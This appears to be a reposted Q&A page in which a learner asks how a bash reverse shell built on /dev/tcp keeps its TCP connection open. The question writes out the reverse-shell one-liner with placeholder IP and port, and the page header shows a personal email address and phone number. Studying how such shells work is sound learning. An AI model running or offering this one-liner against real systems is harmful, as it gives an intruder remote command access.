• caglararli@hotmail.com
  • 05386281520

How does bash > /dev/tcp/"ip"/"port" 0<&1 keep connection alive? [migrated]

Çağlar Arlı      -    11 Views

How does bash > /dev/tcp/"ip"/"port" 0<&1 keep connection alive? [migrated]

I am studying a reverse shell created by /dev/tcp. When you create a tcp socket using /dev/tcp, it ends its connection immediately after data is sent. But when you create a reverse shell by bash > /dev/tcp 0<&1, it keeps the tcp connection alive waiting to receive the command from the other side. I understand that the output of the bash is sent over /dev/tcp socket. But how is it possible /dev/tcp keeps its connection?